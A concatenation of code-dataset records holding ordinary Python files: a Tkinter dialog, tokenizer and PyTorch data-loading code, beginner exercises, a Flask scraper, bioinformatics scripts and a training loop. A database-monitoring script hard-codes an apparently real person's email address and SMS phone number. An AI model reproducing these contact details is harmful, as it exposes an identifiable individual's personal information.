(self.PANEL_WIDITH,self.PANEL_HEIGHT))\r\n self.title(title)\r\n self._optionsPanels = {}\r\n self.current_panel = None\r\n self.current_item = None\r\n self._selected_project_item = selected_item\r\n \r\n top_frame = ttk.Frame(self.main_frame)\r\n top_frame.pack(fill=\"both\",expand=1)\r\n\r\n sizer_frame = ttk.Frame(top_frame)\r\n sizer_frame.pack(side=tk.LEFT,fill=\"y\")\r\n \r\n #设置path列存储模板路径,并隐藏改列\r\n treeview = treeviewframe.TreeViewFrame(sizer_frame,show_scrollbar=False,borderwidth=1,relief=\"solid\")\r\n self.tree = treeview.tree\r\n treeview.pack(side=tk.LEFT,fill=\"both\",expand=1,padx=(consts.DEFAUT_CONTRL_PAD_X,0),pady=(consts.DEFAUT_CONTRL_PAD_Y,0))\r\n self.tree.bind(\"<>\", self.DoSelection, True)\r\n \r\n # configure the only tree column\r\n self.tree.column(\"#0\", anchor=tk.W, stretch=True)\r\n self.tree[\"show\"] = (\"tree\",)# wx.StaticLine(self, -1)\r\n \r\n page_frame = ttk.Frame(top_frame)\r\n page_frame.pack(side=tk.LEFT,fill=\"both\",expand=1)\r\n separator = ttk.Separator(page_frame, orient = tk.HORIZONTAL)\r\n separator.grid(column=0, row=1, sticky=\"nsew\",padx=(1,0))\r\n page_frame.columnconfigure(0, weight=1)\r\n page_frame.rowconfigure(0, weight=1)\r\n current_project_document = GetApp().MainFrame.GetProjectView(generate_event=False).GetCurrentProject()\r\n self._current_project_document = current_project_document\r\n ##force select one option\r\n if option_name:\r\n selection = option_name\r\n else:\r\n selection = utils.profile_get(current_project_document.GetKey(\"Selection\"),\"\")\r\n for name,item,optionsPanelClass in option_pages:\r\n item = self.tree.insert(\"\",\"end\",text=_(name),values=(name,))\r\n option_panel = optionsPanelClass(page_frame,item = self._selected_project_item,current_project=self._current_project_document)\r\n self._optionsPanels[name] = option_panel\r\n #select the default item,to avoid select no item\r\n if name == RESOURCE_ITEM_NAME:\r\n self.select_item(item)\r\n if name == selection:\r\n self.select_item(item)\r\n self.AddokcancelButton()\r\n \r\n def select_item(self,item):\r\n self.tree.focus(item)\r\n self.tree.see(item)\r\n self.tree.selection_set(item)\r\n \r\n @property\r\n def CurrentProject(self):\r\n return self._current_project_document\r\n\r\n def DoSelection(self,event):\r\n sel = self.tree.selection()[0]\r\n text = self.tree.item(sel)[\"values\"][0]\r\n panel = self._optionsPanels[text]\r\n if self.current_item is not None and sel != self.current_item:\r\n if not self.current_panel.Validate():\r\n self.tree.SelectItem(self.current_item)\r\n return \r\n if self.current_panel is not None and panel != self.current_panel:\r\n self.current_panel.grid_forget()\r\n self.current_panel = panel\r\n self.current_panel.grid(column=0, row=0, sticky=\"nsew\",padx=consts.DEFAUT_CONTRL_PAD_X,pady=consts.DEFAUT_CONTRL_PAD_Y)\r\n \r\n def _ok(self):\r\n \"\"\"\r\n Calls the OnOK method of all of the OptionDialog's embedded panels\r\n \"\"\"\r\n if not self.current_panel.Validate():\r\n return\r\n for name in self._optionsPanels:\r\n optionsPanel = self._optionsPanels[name]\r\n #如果配置页面被禁止了,不能调用ok方法\r\n if not optionsPanel.IsDisabled() and not optionsPanel.OnOK(self):\r\n return\r\n selections = self.tree.selection()\r\n if selections:\r\n sel = selections[0]\r\n text = self.tree.item(sel)['values'][0]\r\n if self._current_project_document is not None:\r\n utils.profile_set(self._current_project_document.GetKey(\"Selection\"),text)\r\n ui_base.CommonModaldialog._ok(self)\r\n \r\n def GetOptionPanel(self,option_name):\r\n return self._optionsPanels[option_name]\r\n \r\n def HasPanel(self,option_name):\r\n return option_name in self._optionsPanels\r\n ","sub_path":"noval/project/property.py","file_name":"property.py","file_ext":"py","file_size_in_byte":8293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364660130","text":"import pandas as pd\n\n\ndef huggingface_tokenize(docs, tokenizer):\n doc_ids = []\n tokens = []\n begins = []\n ends = []\n token_idx = []\n\n for doc_id, text in zip(docs[\"doc_id\"], docs[\"text\"]):\n token_id = 0\n i = 0\n\n # Sentence\n lookuptext = text.lower()\n for piece in tokenizer.convert_ids_to_tokens(tokenizer.encode(text)):\n doc_ids.append(doc_id)\n tokens.append(piece)\n piece_size = len(piece) - (4 if (piece.endswith(\"\") or piece.endswith(\"\")) else 0)\n delta = lookuptext[i:].find(piece[:min(piece_size, 1)].lower())\n assert delta < 50, (lookuptext[i:i + 50], piece[:min(piece_size, 1)].lower())\n i += delta\n begins.append(i)\n i += piece_size\n ends.append(i)\n token_idx.append(token_id)\n token_id += 1\n tokens = pd.DataFrame({\"doc_id\": doc_ids, \"token_id\": range(len(token_idx)), \"token_idx\": token_idx, \"token\": tokens, \"begin\": begins, \"end\": ends})\n voc = [None] * len(tokenizer.encoder)\n for token, token_i in tokenizer.encoder.items():\n voc[token_i] = token\n token_voc = pd.CategoricalDtype(voc)\n tokens = tokens.astype({\"doc_id\": docs[\"doc_id\"].dtype, \"token\": token_voc})\n return tokens\n","sub_path":"nlstruct/chunking/huggingface_tokenizer.py","file_name":"huggingface_tokenizer.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"525270161","text":"\"\"\"\nclass Arquivo:\n def __init__(self, arquivo, modo):\n self.arquivo = open(arquivo, modo)\n\n def __enter__(self):\n return self.arquivo\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.arquivo.close()\n\n\nwith Arquivo('aula114/abc.txt', 'w') as arquivo:\n arquivo.write('Teste')\n\"\"\"\nfrom contextlib import contextmanager\n\n\n@contextmanager\ndef abrir(arquivo, modo):\n try:\n arquivo = open(arquivo, modo)\n yield arquivo\n finally:\n arquivo.close()\n\nwith abrir('aula114/abc.txt', 'w') as arquivo:\n arquivo.write('Linha 1\\n')\n arquivo.write('Linha 2\\n')\n arquivo.write('Linha 3\\n')","sub_path":"Curso_de_Python_3_do_Basico_Ao_Avancado_Udemy/aula114/contexto.py","file_name":"contexto.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"194497724","text":"import torch\nfrom torchvision import datasets, transforms\nimport os\nimport csv\nimport numpy as np\nfrom PIL import Image\nfrom .autoaugment import *\n\n# Datasets are downloaded in your home folder. Change DATA_PATH to change download destination\nDATA_PATH = \"~/.torch_datasets\"\n\ndef load_mnist(args, **kwargs):\n transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])\n\n train_loader = torch.utils.data.DataLoader(\n datasets.MNIST(os.path.join(DATA_PATH, 'mnist'), train=True, download=True, transform=transform),\n batch_size=args.batch_size, shuffle=True, **kwargs\n )\n\n test_loader = torch.utils.data.DataLoader(\n datasets.MNIST(os.path.join(DATA_PATH, 'mnist'), train=False, download=True, transform=transform),\n batch_size=args.test_batch_size, shuffle=True, **kwargs\n )\n\n metadata = {\n \"input_shape\" : (1,28,28),\n \"n_classes\" : 10\n }\n\n return train_loader, test_loader, metadata\n\ndef load_fashionMnist(args, **kwargs):\n transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])\n \n train_loader = torch.utils.data.DataLoader(\n datasets.FashionMNIST(os.path.join(DATA_PATH, 'fashionMnist'), train=True, download=True, transform=transform),\n batch_size=args.batch_size, shuffle=True, **kwargs\n )\n \n test_loader = torch.utils.data.DataLoader(\n datasets.FashionMNIST(os.path.join(DATA_PATH, 'fashionMnist'), train=False, download=True, transform=transform),\n batch_size=args.batch_size, shuffle=True, **kwargs\n )\n\n metadata = {\n \"input_shape\" : (1,28,28),\n \"n_classes\" : 10\n }\n\n return train_loader, test_loader, metadata\n\n\ndef load_cifar10(args):\n\n CIFAR10_MEAN = (0.4914, 0.4822, 0.4465)\n CIFAR10_STD = (0.2023, 0.1994, 0.2010)\n\n transform_list = []\n transform_list.append(transforms.RandomCrop(32, padding=4))\n transform_list.append(transforms.RandomHorizontalFlip())\n\n if args.auto_augment:\n transform_list.append(CIFAR10Policy())\n if args.cutout>0:\n transform_list.append(Cutout(args.cutout))\n \n transform_list.append(transforms.ToTensor())\n transform_list.append(transforms.Normalize(CIFAR10_MEAN, CIFAR10_STD ))\n\n\n transform_train = transforms.Compose(transform_list)\n transform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(CIFAR10_MEAN, CIFAR10_STD),\n ])\n\n train_loader = torch.utils.data.DataLoader(\n datasets.CIFAR10(os.path.join(DATA_PATH, 'cifar10'), train=True, download=True, transform=transform_train),\n batch_size=args.batch_size, shuffle=True)\n\n test_loader = torch.utils.data.DataLoader(\n datasets.CIFAR10(os.path.join(DATA_PATH, 'cifar10'), train=False, download=True, transform=transform_test),\n batch_size=args.test_batch_size, shuffle=True)\n\n metadata = {\n \"input_shape\" : (3,32,32),\n \"n_classes\" : 10\n }\n\n return train_loader, test_loader, metadata\n\n\ndef load_cifar100(args):\n \n CIFAR100_MEAN = (0.5070751592371323, 0.48654887331495095, 0.4409178433670343)\n CIFAR100_STD = (0.2673342858792401, 0.2564384629170883, 0.27615047132568404)\n\n transform_list = []\n transform_list.append(transforms.RandomCrop(32, padding=4))\n transform_list.append(transforms.RandomHorizontalFlip())\n\n if args.auto_augment:\n transform_list.append(CIFAR10Policy())\n if args.cutout>0:\n transform_list.append(Cutout(args.cutout))\n \n transform_list.append(transforms.ToTensor())\n transform_list.append(transforms.Normalize(CIFAR100_MEAN, CIFAR100_STD ))\n\n transform_train = transforms.Compose(transform_list)\n transform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(CIFAR100_MEAN, CIFAR100_STD),\n ])\n\n train_loader = torch.utils.data.DataLoader(\n datasets.CIFAR100(os.path.join(DATA_PATH, 'cifar100'), train=True, download=True, transform=transform_train),\n batch_size=args.batch_size, shuffle=True\n )\n\n test_loader = torch.utils.data.DataLoader(\n datasets.CIFAR100(os.path.join(DATA_PATH, 'cifar100'), train=False, download=True, transform=transform_test),\n batch_size=args.test_batch_size, shuffle=False\n )\n\n metadata = {\n \"input_shape\" : (3,32,32),\n \"n_classes\" : 100\n }\n return train_loader, test_loader, metadata\n\n\nclass MiniImageNet(torch.utils.data.Dataset):\n\n def __init__(self, root_path, train=True, transform=None):\n self.train = train\n\n unique_labels = os.listdir(root_path)\n self.labels = {}\n for i,l in enumerate(unique_labels):\n self.labels[l] = i\n \n self.all = []\n for l in unique_labels:\n p = os.path.join(MINI_IMAGENET_PATH, l)\n self.all += [[l,x] for x in os.listdir(p)]\n\n self.split = int(0.9*len(self.all))\n self.train_ex = self.all[:self.split]\n self.test_ex = self.all[self.split:]\n np.random.shuffle(self.train_ex)\n self.transform = transform\n\n def __getitem__(self, i):\n if self.train :\n label, img_name = self.train_ex[i]\n else:\n label, img_name = self.test_ex[i]\n path = os.path.join(MINI_IMAGENET_PATH, label)\n path = os.path.join(path, img_name)\n img = Image.open(path).convert(\"RGB\")\n return (self.transform(img), self.labels[label])\n\n def __len__(self):\n return len(self.train_ex) if self.train else len(self.test_ex)\n\n\ndef load_miniImageNet(miniimgnet_path, args, **kwargs):\n \n if args.auto_augment:\n transform_train = transforms.Compose([\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n ImageNetPolicy(),\n transforms.Normalize(np.array([x / 255.0 for x in [125.3, 123.0, 113.9]]), \n np.array([x / 255.0 for x in [63.0, 62.1, 66.7]]))\n ])\n else:\n transform_train = transforms.Compose([\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(np.array([x / 255.0 for x in [125.3, 123.0, 113.9]]), \n np.array([x / 255.0 for x in [63.0, 62.1, 66.7]]))\n ])\n \n transform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(np.array([x / 255.0 for x in [125.3, 123.0, 113.9]]), \n np.array([x / 255.0 for x in [63.0, 62.1, 66.7]]))])\n\n train_loader = torch.utils.data.DataLoader(\n MiniImageNet(miniimgnet_path, train=True, transform=transform_train),\n batch_size=args.batch_size, shuffle=True, **kwargs\n )\n\n test_loader = torch.utils.data.DataLoader(\n MiniImageNet(miniimgnet_path, train=False, transform=transform_test),\n batch_size=args.batch_size, shuffle=True, **kwargs\n )\n\n metadata = {\n \"input_shape\" : (3,84,84),\n \"n_classes\" : 64\n }\n\n return train_loader, test_loader, metadata\n\n\ndef load_imageNet(imagenet_path, args, **kwargs):\n traindir = os.path.join(imagenet_path, 'train')\n valdir = os.path.join(imagenet_path, 'val')\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n if args.auto_augment:\n train_dataset = datasets.ImageFolder(\n traindir,\n transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n ImageNetPolicy(),\n transforms.ToTensor(),\n normalize,\n ]))\n else:\n train_dataset = datasets.ImageFolder(\n traindir,\n transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize,\n ]))\n\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=args.batch_size, shuffle=True)\n\n test_loader = torch.utils.data.DataLoader(\n datasets.ImageFolder(valdir, transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize,\n ])),\n batch_size=args.test_batch_size, shuffle=False)\n\n metadata = {\n \"input_shape\" : (3,224,224),\n \"n_classes\" : 1000\n }\n\n return train_loader, test_loader, metadata\n\ndef get_data_loaders(args, **kwargs):\n\n dataset_name = args.dataset[0].lower()\n\n if dataset_name == \"mnist\":\n return load_mnist(args, **kwargs)\n\n elif dataset_name == \"fashionmnist\":\n return load_fashionMnist(args, **kwargs)\n\n elif dataset_name == \"cifar10\":\n return load_cifar10(args, **kwargs)\n\n elif dataset_name == \"cifar100\":\n return load_cifar100(args, **kwargs)\n \n elif dataset_name == \"miniimagenet\":\n if len(args.dataset)<2:\n raise Exception(\"Please specify root folder : `-dataset miniimagenet path/to/miniimagenet/folder/\")\n return load_miniImageNet(args.dataset[1], args, **kwargs)\n\n elif dataset_name == \"imagenet\":\n if len(args.dataset)<2:\n raise Exception(\"Please specify root folder : `-dataset imagenet path/to/imagenet/folder/\")\n return load_imageNet(args.dataset[1], args, **kwargs)\n\n else :\n raise Exception(\"Dataset '{}' is no recognized dataset. Could not load any data.\".format(args.dataset))\n","sub_path":"common/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":9709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"649978364","text":"#1.有如下变量tu(是个元组),请实现要求功能\ntu=(\"alex\",[11,22,{'k1':'v1','k2':['age','name'],'k3':(11,23,33)},44])\n#a.讲述元组特性\n#:不可更改,只读列表\n#b.\"alex\"能否被修改\n#:不可以\n#c. 请问tu变量中的\"k2\"对应的值是什么类型?是否可以被修改?如果可以,请在其中添加一个元素 \"Seven\"\n#:可以修改\n#tu[1][2]['k2'].append('seven')\n#d.请问tu变量中的\"k3\"对应的值是什么类型?是否可以被修改?如果可以,请在其中添加一个元素 \"Seven\"\n#是一个键,不能修改\n#2.\ndic = {'k1': \"v1\", \"k2\": \"v2\", \"k3\": [11, 22, 33]}\n#a.请循环输出所有的key\n#for i in dic.keys():\n# print(i)\n#b.请循环输出所有的value\n#for i in dic.values():\n# print(i)\n#c.请循环输出所有的key和value\n#for a,b in dic.items():\n# print(a)\n# print(b)\n#d.请在字典中添加一个键值对,\"k4\": \"v4\",输出添加后的字典\n#dic['k4']='v4'\n#print(dic)\n#e.请在修改字典中\"k1\"对应的值为\"alex\",输出修改后的字典 \n#dic['k1']='alex'\n#print(dic)\n#f.请在k3对应的值中追加一个元素44,输出修改后的字典\n#dic['k3'].append(44)\n#print(dic)\n#g.请在k3对应的值的第1个位置插入个元素18,输出修改后的字典\n#dic['k3'].insert(0,18)\n#print(dic)\n#3.\n#av_catalog = {\n# \"欧美\":{\n# \"www.youporn.com\": [\"很多免费的,世界最大的\",\"质量一般\"],\n# \"www.pornhub.com\": [\"很多免费的,也很大\",\"质量比yourporn高点\"],\n# \"letmedothistoyou.com\": [\"多是自拍,高质量图片很多\",\"资源不多,更新慢\"],\n# \"x-art.com\":[\"质量很高,真的很高\",\"全部收费,屌丝请绕过\"]\n# },\n# \"日韩\":{\n# \"tokyo-hot\":[\"质量怎样不清楚,个人已经不喜欢日韩范了\",\"verygood\"]\n# },\n# \"大陆\":{\n# \"1024\":[\"全部免费,真好,好人一生平安\",\"服务器在国外,慢\"]\n# }\n#}\n# a,给此 [\"很多免费的,世界最大的\",\"质量一般\"]列表第二个位置插入一个元素:'量很大'。\n#av_catalog['欧美']['www.youporn.com'].insert(1,'量很大') \n \n# b,将此 [\"质量很高,真的很高\",\"全部收费,屌丝请绕过\"]列表的 \"全部收费,屌丝请绕过\" 删除。\n#av_catalog['欧美']['x-art.com'].pop(1)\n \n# c,在此 [\"质量很高,真的很高\",\"全部收费,屌丝请绕过\"]列表中添加\"金老板最喜欢这个\"。\n#av_catalog['欧美']['x-art.com'].append('金老板最喜欢这个')\n \n# d,将此[\"质量怎样不清楚,个人已经不喜欢日韩范了\",\"verygood\"]列表的 \"verygood\"全部变成大写\n#av_catalog['日韩'][\"tokyo-hot\"][1]=av_catalog['日韩'][\"tokyo-hot\"][1].upper()\n\n# e,给'大陆' 对应的字典添加一个键值对 '1048' :['一天就封了']\n#av_catalog['大陆'].setdefault('1048',['一天就封了'])\n \n# f,删除此\"letmedothistoyou.com\": [\"多是自拍,高质量图片很多\",\"资源不多,更新慢\"]键值对\n#av_catalog['欧美'].pop('letmedothistoyou.com')\n \n# g,给此[\"全部免费,真好,好人一生平安\",\"服务器在国外,慢\"]列表的第一个元素,加上一句话:'可以爬下来'\n#av_catalog['大陆']['1024'][0]=av_catalog['大陆']['1024'][0]+'可以爬下来'\n\n#4.有字符串 \"k:1|k1:2|k2:3|k3:4\" 处理成字典 {'k':1,'k1':2....} (升级题)\n#s = \"k:1|k1:2|k2:3|k3:4\"\n#dic={}\n#count=0\n#s1=s.split('|')\n#while count<=3:\n# s1[count]=s1[count].split(':')\n# count+=1\n# for i in s1:\n# dic[i[0]]=int(i[1])\n#print(dic)\n\n#5.元素分类\n#有如下值li= [11,22,33,44,55,66,77,88,99,90],将所有大于 66 的值保存至字典的第一个key中,将\n#小于 66 的值保存至第二个key的值中。即: {'k1': 大于66的所有值列表, 'k2': 小于66的所有值列表}\n#li= [11,22,33,44,55,66,77,88,99,90]\n#dic={}\n#li1=[]\n#li2=[]\n#for i in li:\n# if i>66:\n# li1.append(i)\n#for j in li:\n# if j<66:\n# li2.append(j)\n#dic['k1']=li1\n#dic['k2']=li2\n#print(dic)\n#6.输出商品列表,用户输入序号,显示用户选中的商品(升级题)\n# 商品列表:\ngoods = [{\"name\": \"电脑\", \"price\": 1999},\n {\"name\": \"鼠标\", \"price\": 10},\n {\"name\": \"游艇\", \"price\": 20},\n {\"name\": \"美女\", \"price\": 998}, ]\n# 要求:\n# 1:页面显示序号 + 商品名称 + 商品价格,如:\n#1 电脑 1999\n#2 鼠标 10\n# a=[]\n# count=0\n# for i in goods:\n# count=count+1\n# a.append(str(count)+' '+i['name'] +' '+str(i['price']))\n# print(\"商品的列表为:\")\n# print(a)\n# c=len(a)\n# while 1:\n# b=input(\"���输入商品的序号:\")\n# if b.upper()=='Q':\n# break\n# elif int(b)>4:\n# print(\"输入错误:\")\n# else:\n# print(a[int(b)-1])\n \ndic = {\"code\":200,\"msg\":\"success\",\"newslist\":[\n {\"area\":\"福州\",\"date\":\"2020-09-22\",\"week\":\"星期二\",\"weather\":\"阴转小雨\",\"real\":\"26°C\"},\n {\"area\": \"福州\", \"date\": \"2020-09-23\", \"week\": \"星期三\", \"weather\": \"中雨\", \"real\": \"25°C\"}\n]}\n\ndic2={}\n\nfor i in dic[\"newslist\"]:\n dic2[i[\"date\"]] = i[\"weather\"]\n \n \nprint(dic2);\n \n\n\n\n\n\n\n","sub_path":"Web+Python学习笔记/day5(字典)/作业练习.py","file_name":"作业练习.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"591264415","text":"#!/usr/bin/env python3\n\nfrom email.mime.text import MIMEText\nfrom logging.handlers import RotatingFileHandler\nimport datetime, dbconnection as dbconn, logging, os, smtplib, time\n\nlogger = logging.getLogger('/home/ieccfkpmsdb/python/logfiles/ieccf_kpms.log')\nlogger.setLevel(logging.INFO)\nhandler = RotatingFileHandler('/home/ieccfkpmsdb/python/logfiles/ieccf_kpms.log', maxBytes=20000000, backupCount=7)\nlogger.addHandler(handler)\n\nwhile True:\n\n logger.info(\"{0} Checking to see if the DB is up-to-date\".format(datetime.datetime.now()))\n\n now = datetime.datetime.now()\n pattern = '%Y-%m-%d %H:%M:%S'\n now_epoch_time = int(time.mktime(time.strptime(now.strftime(\"%Y-%m-%d %H:%M:%S\"), pattern)))\n #print(now_epoch_time)\n\n try:\n db = dbconn.postgres_database_connection()\n query = db.prepare('select max(schedtime) from arraymeas')\n except:\n print(\"There was an issue connecting to the DB.\")\n logger.info(\"{0} There was an issue connecting to the DB\\n\".format(datetime.datetime.now()))\n\n for line in query:\n db_epoch_time = line[0]\n #print(db_epoch_time)\n\n db.close()\n\n #print(db_epoch_time)\n #print(now_epoch_time - db_epoch_time)\n running_scripts = os.popen('ps -ef').read()\n\n if 'ieccf_kpms2.14.py' in running_scripts:\n logger.info(\"{0} ieccf_kpms script is running\\n\".format(datetime.datetime.now()))\n #print(\"ieccf_kpms2.14.py script is running\")\n\n elif 'DeleteDataOlderThan30Days.py' in running_scripts:\n logger.info(\"{0} DeleteDataOlderThan30Days.py is running\\n\".format(datetime.datetime.now()))\n #print(\"DeleteDataOlderThan30Days.py is running\")\n\n elif now_epoch_time - db_epoch_time > 3600:\n logger.info(\"{0} Error - The ieccf_kpms script has stopped and the DB data is older than 15 minutes, restarting cron now\\n\".format(datetime.datetime.now())) \n os.system('sudo /etc/init.d/cron start') \n #print(\"Restarting cron\") \n \n me = \"bret.may@verizonwireless.com\"\n mecellphone = \"7199243799@vtext.com\"\n msg = MIMEText(\"The Primary ieccf_kpms script has stopped running, starting cron now!\")\n s = smtplib.SMTP('mailhost.vzwcorp.com')\n s.sendmail(me, me, msg.as_string())\n s.sendmail(me, mecellphone, msg.as_string())\n s.quit() \n \n else:\n logger.info(\"{0} DB is up-to-date\\n\".format(datetime.datetime.now()))\n #print(\"DB is up-to-date\")\n\n time.sleep(300)\n","sub_path":"check_kpmsdb_updates.py","file_name":"check_kpmsdb_updates.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"164383836","text":"from flask import Flask, render_template, redirect\nfrom flask_pymongo import PyMongo \nimport scrape_mars\n\n\napp = Flask(__name__)\n\nmongo = PyMongo(app, uri=\"mongodb://localhost:27017/mars_mission\")\n\n@app.route(\"/scrape1\")\ndef index1():\n mars_info = mongo.db.collection.find_one()\n\n return render_template('index.html', mars_info=mars_info)\n\n@app.route(\"/scrape2\")\ndef index2():\n mars_data = scrape_mars.scrape()\n\n mongo.db.collection.update({}, mars_data, upsert=True)\n\n return redirect(\"/\")\n\nif __name__ == \"__main__\":\n app.run(debug=True) ","sub_path":"Missions_to_Mars/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"266607760","text":"#make a dictionary = HLA-type to list of peptides\n#code to convert a list into cluster \nfrom utilities import *\n#dictRNA_file = '/scratch/users/bchen45/HLA_prediction/MCL_MHC_project/gene_analysis/MCLRNASeq_ave.dict'\npath0 = '/scratch/users/bchen45/HLA_prediction/MCL_MHC_project/gene_analysis/'\nimport math\nimport pandas as pd\n\n##substring between two patients\ndef get_shared(listy, listx):\n n_shared = 0\n common0=set()\n for fragx in listx:\n for fragy in listy:\n if fragx in fragy or fragy in fragx:\n common0.add(fragx)\n common0.add(fragy)\n return common0\n\n#make a dictionary = HLA-type to list of patient IDs\ndef get_pid_for_each_hla(MCL_data,pid_list):\n dict_hla_pid = dumb()\n for pid0 in pid_list:\n #print MCL_data[pid0]['HLA_typing']\n hla1 = MCL_data[pid0]['HLA_typing'][-1]\n hla2 = MCL_data[pid0]['HLA_typing'][-2]\n dict_hla_pid[hla1].append(pid0)\n dict_hla_pid[hla2].append(pid0)\n return dict_hla_pid\n\n\n#make peptide list from a set of pids\ndef get_pep_for_each_hla(dict_hla_pid,MCL_data):\n dict_hla_pep = dumb()\n for key, value in dict_hla_pid.iteritems():\n if len(value) > 1:\n set0 = set()\n for n0 in range(0,len(value)):\n for m0 in range(n0+1,len(value)):\n common0 = get_shared(MCL_data[value[n0]]['MHC2_frag'],MCL_data[value[m0]]['MHC2_frag'])\n set0 = set0 | common0\n #consider to add a peptide number cut_off if necessary\n dict_hla_pep[key] = list(set0)\n return dict_hla_pep\n\ndef print_d_list(dict0):\n for key,value in dict0.iteritems():\n print(key+': '+str(len(value)))\n\nMCL_data = pickle.load(open(path0+'MCL_data11_18_2015v1.1.dict','r'))\npid_list = MCL_data['pid']['pid']\ndict_hla_pid = get_pid_for_each_hla(MCL_data,pid_list)\nprint_d_list(dict_hla_pid) \ndict_hla_pep = get_pep_for_each_hla(dict_hla_pid,MCL_data)\nprint_d_list(dict_hla_pep) \n\n\n\n\n\n#print(len(set_04_01))\n\n'''\n############make clusters\nlist2 = list(set_04_01)\nlen2 = []\nfor x in list2:\n len2.append(len(x))\nlist_len_2 = zip(list2,len2)\nlist2,len2 = zip(*sorted(list_len_2,key=lambda x: x[1]))\n#print list2\nlist2_tested = [True]*len(list2)\ncluster_list = []\nlen_d_ave = []\nlen_d_max = []\nlen_std = []\nfor n0 in range(0,len(list2)):\n if list2_tested[n0]:\n list0 = []\n len_d0 = []\n len_l0 = []\n list0.append(list2[n0])\n for m0 in range(n0+1,len(list2)):\n if list2_tested[m0]:\n if list2[n0] in list2[m0]:\n list2_tested[m0] = False\n list0.append(list2[m0])\n len_d0.append(len(list2[m0])-len(list2[n0]))\n cluster_list.append(list0)\n'''\n \n#print('total classII peptides='+str(len(list2)))\n\n'''\nprint('total classII pep clusterings='+str(len(cluster_list)))\nn0 = 0\nfor x in cluster_list:\n if len(x)>1:\n n0 += 1\nprint('total classII pep Non-singular clusterings='+str(n0))\nprint cluster_list\n'''\n","sub_path":"scripts_sh_verified/Old_HLA_RNN/make_pooled_pep.py","file_name":"make_pooled_pep.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"161554911","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.utils.data as DATA\nimport matplotlib.pyplot as plt\nimport torch.optim as optim\nimport numpy as np\nimport datetime\n\nfrom itertools import product\nfrom torch.utils.tensorboard import SummaryWriter\nfrom Net import Network\n\n\n# 读取数据集\ntrain_set = torchvision.datasets.FashionMNIST(\n root='./data',\n train=True,\n download=True,\n transform=transforms.Compose([\n transforms.ToTensor()\n ])\n)\n\n\n# 计算输出中正确的个数\ndef get_num_correct(preds, labels):\n return preds.argmax(dim=1).eq(labels).sum().item()\n\n\n# 创建一个词典,并通过遍历获取三个参数的所有组合,能避免多个训练的嵌套\nparameters = dict(\n lr=[.01, .001],\n batch_size=[10, 100, 1000],\n)\nparam_values = [v for v in parameters.values()]\nprint(param_values)\n# 查看所有参数的组合\nfor lr, batch_size in product(*param_values):\n print(lr, batch_size)\n\n\n# 传入所有参数组合\nfor lr, batch_size in product(*param_values):\n # 创建Network对象\n network = Network()\n # 创建优化器\n optimizer = optim.Adam(network.parameters(), lr=lr)\n # 数据集加载器\n train_loader = DATA.DataLoader(\n train_set,\n batch_size=batch_size,\n shuffle=True\n )\n images, labels = next(iter(train_loader))\n grid = torchvision.utils.make_grid(images)\n\n comment = f' batch_size={batch_size} lr={lr}'\n tb = SummaryWriter(comment=comment)\n tb.add_image('images', grid)\n tb.add_graph(network, images)\n\n # 创建循环,10个epoch,每个epoch更新600(60000/100)次权重\n for epoch in range(2):\n start_time = datetime.datetime.now()\n total_loss = 0\n total_correct = 0\n # 获取一个batch100张图片\n for batch in train_loader:\n images, labels = batch\n preds = network(images)\n loss = F.cross_entropy(preds, labels) # 计算损失\n # 先把梯度归零,并计算梯度以及更新权重\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n # 计算损失与正确个数\n total_loss += loss.item() * batch_size\n total_correct += get_num_correct(preds, labels)\n\n end_time = datetime.datetime.now()\n\n # tensorboard绘制图表\n tb.add_scalar('Loss', total_loss, epoch)\n tb.add_scalar('Number Correct', total_correct, epoch)\n tb.add_scalar('Accuracy', total_correct / len(train_set), epoch)\n\n # tb.add_histogram('conv1.bias', network.conv1.bias, epoch)\n # tb.add_histogram('conv1.weight', network.conv1.weight, epoch)\n # tb.add_histogram('conv1.weight.grad', network.conv1.weight.grad, epoch)\n # 用for循环替代上面的几行代码\n for name, weight in network.named_parameters():\n tb.add_histogram(name, weight, epoch)\n tb.add_histogram(\n f'{name}.grad'\n , weight.grad\n , epoch\n )\n print(\"epoch:\", epoch,\n \"batch size:\", batch_size,\n \"Adam learning rate:\", lr,\n \"total loss:\", total_loss,\n \"total correct:\", total_correct,\n \"accuracy:\", total_correct / len(train_set),\n \"epoch time:\", (end_time - start_time).seconds)\n tb.close()\n# 